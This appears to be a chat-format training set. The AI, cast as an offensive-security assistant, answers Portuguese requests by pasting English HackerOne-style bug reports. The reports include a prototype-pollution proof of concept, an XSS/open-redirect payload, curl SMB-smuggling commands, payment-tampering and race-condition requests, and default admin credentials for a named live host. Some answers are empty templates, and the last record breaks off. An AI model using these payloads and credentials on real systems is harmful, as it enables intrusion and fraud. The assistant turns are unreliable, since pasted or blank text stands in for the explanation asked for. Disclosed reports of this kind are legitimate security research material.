[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Exposed .bash_history at http://21days2017.mtncameroon.net/.bash_history

[Assistant]
### Resumo da Vulnerabilidade
Dear Security Team,

I found some dangerous urls on your servers that reveal important informations about the servers configuration themself and that are very interesting from a hacker point of view.

### Passos para Reproduzir
http://21days2017.mtncameroon.net/.bash_history

### Impacto
While this does not represent a real security issue, this reveal important informations about your system and could be used by a malicious user for a future attack.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [utils-extend] Prototype pollution

[Assistant]
### Passos para Reproduzir
1. npm install --save utils-extend
2. create file index.js with content :

```javascript
const { extend } = require('utils-extend');
const payload = '{"__proto__":{"isAdmin":true}}'
const emptyObject = {}
const pollutionObject = JSON.parse(payload);
extend({}, pollutionObject)
console.log(emptyObject.isAdmin)  // true
```

3. run `node index.js` => true

# Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [Y/N] : N
- I opened an issue in the related repository: [Y/N]  : N

### Impacto
Can result in: dos, access to restricted data, rce (depends on implementation)


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Race condition leads to Inflation of coins when bought via Google Play Store at endpoint https://oauth.reddit.com/api/v2/gold/android/verify_purchase

[Assistant]
### Resumo da Vulnerabilidade
When we purchase coins from Reddit's mobile app using Android, https://oauth.reddit.com/api/v2/gold/android/verify_purchase is called with parameters like `transaction_id` and `token`. There exists a race condition on this endpoint which allows an attacker to get coins many times more than it was intended to.

### Passos para Reproduzir
- Go to the Reddit app, click on the top right corner which has a coin icon and says `Get`:

- Select a basic 50 coins package, and intercept this request when the purchase is completed:

```
POST /api/v2/gold/android/verify_purchase?raw_json=1&feature=link_preview&sr_detail=true&expand_srs=true&from_detail=true&api_type=json&raw_json=1&always_show_media=1&request_timestamp=1582296187715 HTTP/1.1
Authorization: Bearer REDACTED
Client-Vendor-ID: REDACTED
x-reddit-device-id: REDACTED
User-Agent: Reddit/Version 2020.5.0/Build 255357/Android 9
X-Dev-Ad-Id: REDACTED
x-reddit-session: REDACTED
x-reddit-loid: REDACTED
x-reddaid: REDACTED
Content-Type: application/x-www-form-urlencoded
Content-Length: 327
Host: oauth.reddit.com
Connection: keep-alive
Accept-Encoding: gzip, deflate

transaction_id=GPA.3390-9967-2355-57063&token=effmpcoplmjonhljkheipnce.AO-J1OyQ3ZXb7XM7JwoJPJqpNP3LgWYqHYUUmOE7o5hCzQtf4TC8GL0i71zvRVeZKl-I5rlQCfM0ID3Z0P8CTFSUmhbdbPvQwOIN0164LBE647_lDvB9aHzk2naeC59hSFrtJJYkYj2b&package_name=com.reddit.frontpage&product_id=com.reddit.coins_1&correlation_id=394e65c9-5f9d-45e7-a9b4-498ed64251cd
```

- We can simply repeat this request in parallel to get more coins.

I did 10 parallel requests and got 9 of them through. An actual attacker will do more requests and get more coins. Like for example, they can do 40 requests and maybe if 35 of them get through they have 35x times the coins intended.

Transaction ID for reference: `GPA.3390-9967-2355-57063`

Proof:
{F724269}
{F724270}
{F724271}
███

Regards,
Yash

### Impacto
Due to a race condition on https://oauth.reddit.com/api/v2/gold/android/verify_purchase, an attacker can get more coins than what they purchased it for. This can lead to a huge business loss for Reddit, that's why I have marked this as High.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Grafana Improper authorization

[Assistant]
### Resumo da Vulnerabilidade
new report from part2.
wrong configuration causes Grafana datasource to use root user(with influxdb admin priv).

### Passos para Reproduzir
in normally configuration read-only user used by grafana, but in my test i found datasource user wite admin perms.
refer: https://github.com/kubernetes/test-infra/blob/master/velodrome/grafana-stack/datasource.sh
so i think maybe other scripts make this problem.

open url http://velodrome.k8s.io/, find the follwing requests:

```
GET /api/datasources/proxy/4/query?db=metrics&q=SELECT%20%0A%20%201-(sum(%22consistent_builds%22)%2Fsum(%22builds%22))%0AFROM%0A%20%20%22flakes_daily%22%20%0AWHERE%20%0A%20%20time%20%3E%20now()%20-%2030d%0A%20%20AND%20%22job%22%20%3D~%20%2F%5E(pr%3Apull-kubernetes-kubemark-e2e-gce-big%7Cpr%3Apull-kubernetes-bazel-build%7Cpr%3Apull-kubernetes-bazel-test%7Cpr%3Apull-kubernetes-dependencies%7Cpr%3Apull-kubernetes-e2e-gce%7Cpr%3Apull-kubernetes-e2e-gce-100-performance%7Cpr%3Apull-kubernetes-e2e-kind%7Cpr%3Apull-kubernetes-integration%7Cpr%3Apull-kubernetes-node-e2e%7Cpr%3Apull-kubernetes-typecheck%7Cpr%3Apull-kubernetes-verify)%24%2F%0Agroup%20by%20job%2C%20time(20m)%20fill(none)&epoch=ms HTTP/1.1
Host: velodrome.k8s.io
Accept: application/json, text/plain, */*
X-Grafana-Org-Id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Edg/80.0.361.54
Referer: http://velodrome.k8s.io/dashboard/db/job-health-merge-blocking?orgId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```
By trying I found that this datasource is incorrectly configured with a user.
we can use admin perms user throuth proxy access Influxdb.
so I use this vuln, created a admin user.
{F724548}

execute ```show databases,``` we found that we have admin permissions
{F724549}

### Impacto
maybe denial of service this component ,because admin can drop all Influxdb database.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Monero wallet password change is confirmed when not matching

[Assistant]
### Resumo da Vulnerabilidade
If you change your wallet password in gui, the confirmation does not need to match the new password.

### Passos para Reproduzir
Open your wallet.
Go to settings.
Change wallet password.
Enter old password.
You now have prompt with two passwords.
Enter your new password in the first line.
Leaving confirmation blank press enter.
Password is changed successfully without confirmation.

### Impacto
User can lock themselves out of wallet.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Reduced Payment amount while paying on Crypto Currencies

[Assistant]
### Resumo da Vulnerabilidade
While the payment is made via Crypto Currencies on the site "https://join.nordvpn.com/order/", the amount can be reduced to 25.64 instead of the original amount, this can cause loss of revenue to the company.
Even the BTC value reflects the reduced converted values, see the screenshot.

### Passos para Reproduzir
1. GO to the website https://join.nordvpn.com/order/, check the crypto payment and select the crypto payment.
2. Intercept the request

----start request----
POST /index.php HTTP/1.1
Host: www.coinpayments.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://join.nordvpn.com/order/
Content-Type: application/x-www-form-urlencoded
Content-Length: 355
DNT: 1
Connection: close
Cookie: CPTC=f9cc9e3fa4d739bc7fc14299ce93ad6d; PHPSESSID=rctrgm3vd8cil352n2s4l0p8g4
Upgrade-Insecure-Requests: 1

cmd=_pay&reset=1&email=asd%40gmail.com&merchant=e64a9629f9a68cdeab5d0edd21b068d3&currency=USD&amountf=25.64&item_name=VPN+order&invoice=56612347&success_url=https%3A%2F%2Fjoin.nordvpn.com%2Fpayments%2Fcallback%2F6f921cd6b73c9aa7e999d0da97ad1b04&cancel_url=https%3A%2F%2Fjoin.nordvpn.com%2Forder%2Ferror%2F%3Ferror_alert%3Dpayment%26eu%3D1&want_shipping=0

-------------end request-------------------

The value of the *amountf* is changed to 25.64 instead of the original value of 125.46.

The screenshots attached can show that the walet reflects the same, as in converted with respect to $25.64 and not 125.46.

### Impacto
Financial loss to the company.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Prototype pollution in multipart parsing

[Assistant]
### Passos para Reproduzir
> Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

### Impacto
It's a Denial of Service attack


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Enumeration of username on password reset page

[Assistant]
### Resumo da Vulnerabilidade
Reset password page api call, can be used to enumerate usernames based on the error message

### Passos para Reproduzir
[add details for how we can reproduce the issue]

    1. Go to password reset page
    2. Enter username and click submit
    3. Check email for password reset code, open the url in any browser
    4. Change the username in url to somewrong username and click on `Request New Password` button you will get error message saying `No user`
    5. Change the username in url to some username which exists other than which is used in step 2, click on `Request New Password` you will get error message saying `No such username in the request list. Your request may have expired.`
    6. Based on this, if a username does not exists, error message `No User` is shown and if username exists `No such username in the request list. Your request may have expired.` error message is shown.
    7. This can be automated with an username list and easily list of valid usernames can be generated

### Impacto
Attacker can easily find list of large amount of valid usernames by using some common usernames dictionaries avaialble on internet.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Customer private program can disclose email any users through invited via username

[Assistant]
### Resumo da Vulnerabilidade
Hey team,This bug could have been used by my calculations a long time ago

### Passos para Reproduzir
1)Go to https://hackerone.com/hackerone_h1p_bbp3/launch
2)Take invite via username
3)Input username , send invite
3.1)When an invite is created, we get a token
4)Now Go use GraphQL query

https://hackerone.com/graphql?

`{"query": "query {team(handle:\\"hackerone_h1p_bbp3\\"){_id,handle,soft_launch_invitations{total_count,nodes{... on InvitationsSoftLaunch{token}}}}}"}`

Answer:

`{"data":{"team":{"_id":"47388","handle":"hackerone_h1p_bbp3","soft_launch_invitations":{"total_count":5,"nodes":[{"token":"████████"},{"token":"███"},{"token":"████"},{"token":"██████"},{"token":"████████"}]}}}}`
████

5)Now check .json - █████████

`{"token":"████████","type":"Invitations::SoftLaunch","auth_option":"has-no-access","email":"████@managed.hackerone.com","status":"valid","expires_at":"2020-03-06T21:33:31.689Z","recipient":{"username":"zebra","profile_picture":"███","url":"https://hackerone.com/zebra"},"open_soft_launch_invitations_count":0}`

`"email":"██████████@managed.hackerone.com"`
██████
6)You need to do this immediately before the user accepts or rejects our request for an invite

Thanks, @haxta4ok00

### Impacto
Disclosed email


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Mismatch between frontend and backend validation via `ban_researcher` leads to H1 support and hackers email spam

[Assistant]
### Resumo da Vulnerabilidade
We found a mismatch between the frontend and backend validation when using the ban researcher feature, available for program customer.

**Description:**
When a program customer issues a ban, an automatic email will be send both to the banned user and H1 support. The problem is that fronted will not allow us to make the request again as the button will be inactive. However the backend allows us to repeat the request many times. Thus, we can send a lot of messages to the banned user and to the H1 platform (moderators), although this should only be allowed once . This report is similar #156948 and #159512 where @andrewone says : `it does demonstrate a disconnect between our frontend and backend validation, which should not happen in the first place.`

### Passos para Reproduzir
1) As the user we want to ban, submit a test report
2) As a manager of the program, go to the report and click `report abuse` => click `ban reporter`
3) Intercept the request

https://hackerone.com/reports/808343/ban_researcher

POST:
X-CSRF-Token: you_token_:)`

message_to_hackerone=test">
asd&message_to_researcher=test">
asd

3.1) After `ban report` , We will see an inactive button
{F734385}

4) Re-issue the request multiple times
5) As the banned user, check your inbox - you should have received multiple emails, as the support did.

Thanks, @haxta4ok00

### Impacto
Spam banned users and H1


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [notevil] - Sandbox Escape Lead to RCE on Node.js and XSS in the Browser

[Assistant]
### Passos para Reproduzir

### Impacto
An attacker can execute arbitrary commands on the system when the package is used with nodejs and execute arbitrary javascript when is used in the browser.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Username Information Disclosure via Json response - Using parameter number Intruder

[Assistant]
### Resumo da Vulnerabilidade
Hi , Brave Team we found vulnerability's in your websites , I Found  all username disclosed using Json Response ``{parameter-number}``.

Platform(s) Affected: [website]
*. https://community.brave.com/c/brave-feature-requests.json
*. https://community.brave.com/c/beta-builds/38.json

### Passos para Reproduzir
- Repreat URL ``.json`` to Burp Suite
  - Sent to Parameter **Burp-Intruder**
  - Set parameter , ``§random-number§`` , and start request
  - You can see **Sensitive Information** in Responsive Header ``Number-Parameter``

**Request**
```
GET /c/beta-builds/§38§.json HTTP/1.1
Host: community.brave.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
  - You can see Information Disclosure in Responsive Header ```200 OK.```

### Impacto
Information Disclousure


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: curl still vulnerable to SMB access smuggling via FILE URL on Windows

[Assistant]
### Resumo da Vulnerabilidade
The released fix for CVE-2019-15601, SMB access smuggling via FILE URL on Windows, leaves curl still vulnerable to SMB access smuggling via FILE URLs.
 - FILE URLs formatted as `file:////smb_server/smb_share/file` are not filtered.
 - FILE URLs which point to the global DOS name space, \??\, and formatted as `file:///%3f%3f/UNC/smb_server/smb_share/file_name` or `file:///%3f%3f/GLOBAL/UNC/smb_server/smb_share/file` are not filtered.

### Passos para Reproduzir
1. `curl file:////localhost/c$/windows/win.ini`
  2. `curl file:///%3f%3f/UNC/localhost/c$/windows/win.ini`
  3. `curl file:///%3f%3f/GLOBAL/UNC/localhost/c$/windows/win.ini`

The above examples will return the contents of C:\Windows\win.ini utilizing SMB to fetch the file via the local administrative share for the C drive. This will also work with remote shares.

### Impacto
A properly crafted URL could cause a user to unknowingly access a remote file.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Lets Encrypt Certificates affected by CAA Rechecking Incident

[Assistant]
### Resumo da Vulnerabilidade
Lets encrypt released a statement regarding 3 million certificates being revoked due to a issue in the CA signing process, Looking at your subdomains it appears that you are affected by this incident. When the revoking occurs the certificates the certificates are no longer valid. This may affect automatic flows that use these sites and assume the certificates are valid and have no cert error checking.

### Passos para Reproduzir
root@Bugslife:~/Desktop/endlesshosting# curl -XPOST -d 'fqdn=support.theendlessweb.com' https://checkhost.unboundtest.com/checkhost
The certificate currently available on support.theendlessweb.com needs renewal because it is affected by the Let's Encrypt CAA rechecking problem. Its serial number is 03a7c9ab7ac09b9e1f8772c181c584bff432. See your ACME client documentation for instructions on how to renew a certificate.

root@Bugslife:~/Desktop/endlesshosting# curl -XPOST -d 'fqdn=jira.theendlessweb.com' https://checkhost.unboundtest.com/checkhost
The certificate currently available on jira.theendlessweb.com needs renewal because it is affected by the Let's Encrypt CAA rechecking problem. Its serial number is 03a7c9ab7ac09b9e1f8772c181c584bff432. See your ACME client documentation for instructions on how to renew a certificate.

### Impacto
This may affect automatic flows that use these sites and assume the certificates are valid and have no cert error checking.
As the certificates will no longer be valid this could aid in a successful phishing attack


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Changes to data in a CVE request after draft via GraphQL query

[Assistant]
### Resumo da Vulnerabilidade
Our team has conducted a number of studies (tests) in the field of CVE Request. We found several statuses of such requests
`Awaiting Publication`, `Pending HackerOne approval`, `Cancelled` .

At the time of creating the request , we can change the data. However, we noticed that we can 't change them in other statuses. However, due to incorrect GraphQL authorization settings, we can change these requests through It.

### Passos para Reproduzir
1) Create real program (not sandbox)
2) Go to the page for creating CVE Request
3) Creating CVE Request

4)After sending the request , we will get the status sent to `Pending HackerOne approval`. In this status, we cannot change the data
For example : our request - `https://hackerone.com/hackerone_h1p_bbp1/cve_requests/1439/edit`

{F741383}

`Z2lkOi8vaGFja2Vyb25lL0N2ZVJlcXVlc3QvMTQzOQ==` - base64_decode() - `gid://hackerone/CveRequest/1439`

To change the data we use GraphQL query via mutation:

`{"query":"mutation Update_cve_request_mutation($input_0:UpdateCveRequestInput!,$first_1:Int!) {updateCveRequest(input:$input_0) {clientMutationId,...F1,...F2}} fragment F0 on CveRequest {id} fragment F1 on UpdateCveRequestPayload {cve_request {id,cve_identifier,state,latest_state_change_reason,auto_submit_on_publicly_disclosing_report,report {title,id,_id,url,created_at,disclosed_at,weakness {name,id},structured_scope {asset_identifier,id}},vulnerability_discovered_at,weakness {name,id},product,product_version,description,references,...F0}} fragment F2 on UpdateCveRequestPayload {was_successful,_errors3exXYb:errors(first:$first_1) {edges {node {field,message,id},cursor},pageInfo {hasNextPage,hasPreviousPage}}}","variables":{"input_0":{"cve_request_id":"Z2lkOi8vaGFja2Vyb25lL0N2ZVJlcXVlc3QvMTQzOQ==","product":"JOBERT","product_version":"JOBERT","report_id":804745,"weakness_name":"Information Disclosure","description":"JOBERT","references":["JOBERT"],"vulnerability_discovered_at":"2020-03-06","auto_submit_on_publicly_disclosing_report":true,"clientMutationId":"0"},"first_1":100}}`

{F741382}

5)If the H1 command cancels it , the request will take the `canceled` status. In this status, we cannot change the data
For example : our request - `https://hackerone.com/hackerone_h1p_bbp1/cve_requests/1438/edit`

{F741381}

`Z2lkOi8vaGFja2Vyb25lL0N2ZVJlcXVlc3QvMTQzOA==` - base64_decode() - `gid://hackerone/CveRequest/1438`

To change the data we use GraphQL query via mutation:

`{"query":"mutation Update_cve_request_mutation($input_0:UpdateCveRequestInput!,$first_1:Int!) {updateCveRequest(input:$input_0) {clientMutationId,...F1,...F2}} fragment F0 on CveRequest {id} fragment F1 on UpdateCveRequestPayload {cve_request {id,cve_identifier,state,latest_state_change_reason,auto_submit_on_publicly_disclosing_report,report {title,id,_id,url,created_at,disclosed_at,weakness {name,id},structured_scope {asset_identifier,id}},vulnerability_discovered_at,weakness {name,id},product,product_version,description,references,...F0}} fragment F2 on UpdateCveRequestPayload {was_successful,_errors3exXYb:errors(first:$first_1) {edges {node {field,message,id},cursor},pageInfo {hasNextPage,hasPreviousPage}}}","variables":{"input_0":{"cve_request_id":"Z2lkOi8vaGFja2Vyb25lL0N2ZVJlcXVlc3QvMTQzOA==","product":"JOBERT","product_version":"JOBERT","report_id":804745,"weakness_name":"Information Disclosure","description":"JOBERT","references":["JOBERT"],"vulnerability_discovered_at":"2020-03-06","auto_submit_on_publicly_disclosing_report":false,"clientMutationId":"0"},"first_1":100}}`

{F741380}

We also believe that this can happen after confirmation by the H1 command , when the CVE request takes the status of `HackerOne Approved`. We can 't verify this because Jobert said that there is no way to confirm this status for the test.

There is only one way left . This will ask You to look directly in the code itself .rb file where this mutation is registered. And if you do this check, we'd like to know if we were right about this or not.

Thanks , @haxta4ok00 !

### Impacto
Changes to data in a CVE request after draft


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: A team member of the program with Report rights can ban the Admin

[Assistant]
### Resumo da Vulnerabilidade
Our team has conducted a number of studies (tests) in the field of permission `Report`. We noticed that a team member of the program with such permission can ban a member with `Admin` rights

### Passos para Reproduzir
1) Admin submit new report in program
2) A team member with Report rights can use the 'Ban reporters ' panel via their report

my group - `one_permission` have permission `Report`

{F743466}
█████

3) After `ban` , admin can't create new report in program (it's not logical)

{F743464}

### Impacto
Ban the Admin in program


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: The Linux binaries (nordvpn and nordvpnd) don't use PIE/ASLR

[Assistant]
### Resumo da Vulnerabilidade
The Linux binaries `nordvpn` and `nordvpnd` don't have PIE/ASLR enabled. A such feature is used to harden programs against the exploitation of memory corruption bugs and should be enabled.

The use of ASLR has long been debated among the Golang community. However, it seems that it's becoming the default choice now.

### Passos para Reproduzir
```
$ rabin2 -I /usr/bin/nordvpn | grep pic
pic      false
$ rabin2 -I /usr/sbin/nordvpnd | grep pic
pic      false
```

### Impacto
Any memory corruption bug (e.g. buffer overflow) can easily lead to a working exploit when ASLR is not enabled.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Hardware Wallets Do Not Check Unlock TIme

[Assistant]
### Resumo da Vulnerabilidade
The hardware wallet implementations using the monero wallet do not check the unlock time when signing. This allows malware on the user's computer (which the hardware wallet should protect from) to permanently lock-up all the user's funds if the user signs a transaction on the device with a very high unlock time.To provide a scenario for this kind of attack: A disgruntled employee can use this vector to permanently cripple a business' funds.

### Passos para Reproduzir
Reproduction is easy, just create a new wallet with monero-wallet-cli with either Trezor or Ledger as a keystore. Then sign a transaction with locked_transfer and set a high unlock time.

### Impacto
Permanently lock-up a user's hardware wallet funds.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Weak/Auto Fill Password

[Assistant]
### Resumo da Vulnerabilidade
https://mtnc-selfservice.mtncameroon.net

The following url has admin/admin as user name and password

### Passos para Reproduzir
1. open the url in any browser of your choice
  1. enter admin as user name and password
  1. booom .... full asset to super admin full panel

### Impacto
Attacker can make major configuration changes to the services.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Mathematical error  found in meals for one

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)
  1. Buy a single item in meals for one of about 125 rs and then repeat that item once again.
  1.The total cost would be around 235 rs, instead of 250 rs.
  1. [add step]

### Impacto
These type of simple calculation error generated in the app, can take company into huge loss.So please resolve this issue as fast as you can,


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Cross Site Scripting and Open Redirect in affiliate-preview.php file

[Assistant]
### Resumo da Vulnerabilidade
Stored XSS can be submitted on the Website using Default Manager, and anyone who will check the report the XSS and Open Redirect will trigger.

### Passos para Reproduzir
1. Login with valid credentials of the user.
2. Go to inventory > Website > Website Properties
3. Fill the form and Enter Website URL as "http://Test"><img src=x onclick=window.location="http://google.com">". Click Save Changes.
4. Login with an administrator account.
4. Open http://localhost/hackerone/www/admin/affiliate-preview.php?codetype=invocationTags%3AoxInvocationTags%3Aspc&block=0&blockcampaign=0&target=&source=&withtext=0&charset=&noscript=1&ssl=0&comments=0&affiliateid=1&submitbutton=Generate
5. Click on Header Script Banner there is image click on that it will execute xss or open redirect.

### Impacto


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: IPv4 only clusters susceptible to MitM attacks via IPv6 rogue router advertisements

[Assistant]
### Resumo da Vulnerabilidade
In many K8S network configurations the container network interface is a virtual ethernet link going to the host (veth interface). In this configuration, an attacker able to run a process as root in a container can send and receive arbitrary packets to the host using the CAP_NET_RAW capability (present in default configuration).

In a K8S cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via ipv6.disable=1 on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie /proc/sys/net/ipv6/conf/*/forwarding == 0. Also by default, /proc/sys/net/ipv6/conf/*/accept_ra == 1. The combination of these 2 sysctls means that the host accepts router advertisements and configure the IPv6 stack using them.

By sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container.
Even if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.
If by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host.

As CAP_NET_ADMIN is not present by default in K8S pods, the attacker can’t configure the IPs they want to MitM, they can’t use iptables to NAT or REDIRECT the traffic, and they can’t use IP_TRANSPARENT. The attacker can however still use CAP_NET_RAW and implement a tcp/ip stack in user space.

This report includes a POC based on smoltcp (https://github.com/smoltcp-rs/smoltcp) that sends router advertisements and implements a dummy HTTP server listening on any IPv6 addresses.

This vulnerability can easily be fixed by setting accept_ra = 0 by default on any interface managed by CNI / K8S.

### Passos para Reproduzir
Please find attached F748694, a recording of my shell using asciinema (https://github.com/asciinema/asciinema)

The GKE cluster used was created using the following command:
`gcloud beta container --project "copper-frame-263204" clusters create "testipv6" --zone "us-central1-c" --no-enable-basic-auth --release-channel "rapid" --machine-type "n1-standard-1" --image-type "COS" --disk-type "pd-standard" --disk-size "100" --metadata disable-legacy-endpoints=true --scopes "https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --num-nodes "3" --enable-stackdriver-kubernetes --no-enable-ip-alias --network "projects/copper-frame-263204/global/networks/default" --subnetwork "projects/copper-frame-263204/regions/us-central1/subnetworks/default" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair`

This cluster is created without `--enable-ip-alias` (but the attack also with it)

### Impacto
An attacker able to run arbitrary code as root inside of a container can MitM part of the host’s traffic. This vulnerability if chained with other vulnerability like last year’s RCE in apt (CVE-2019-3462) could allow to escalate to the host.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [sapper] Path Traversal

[Assistant]
### Passos para Reproduzir
1. Clone https://github.com/sveltejs/sapper-template project
2. `npm i`
3. Use `degit` to obtain the webpack example app: `npx degit "sveltejs/sapper-template#webpack" my-app`
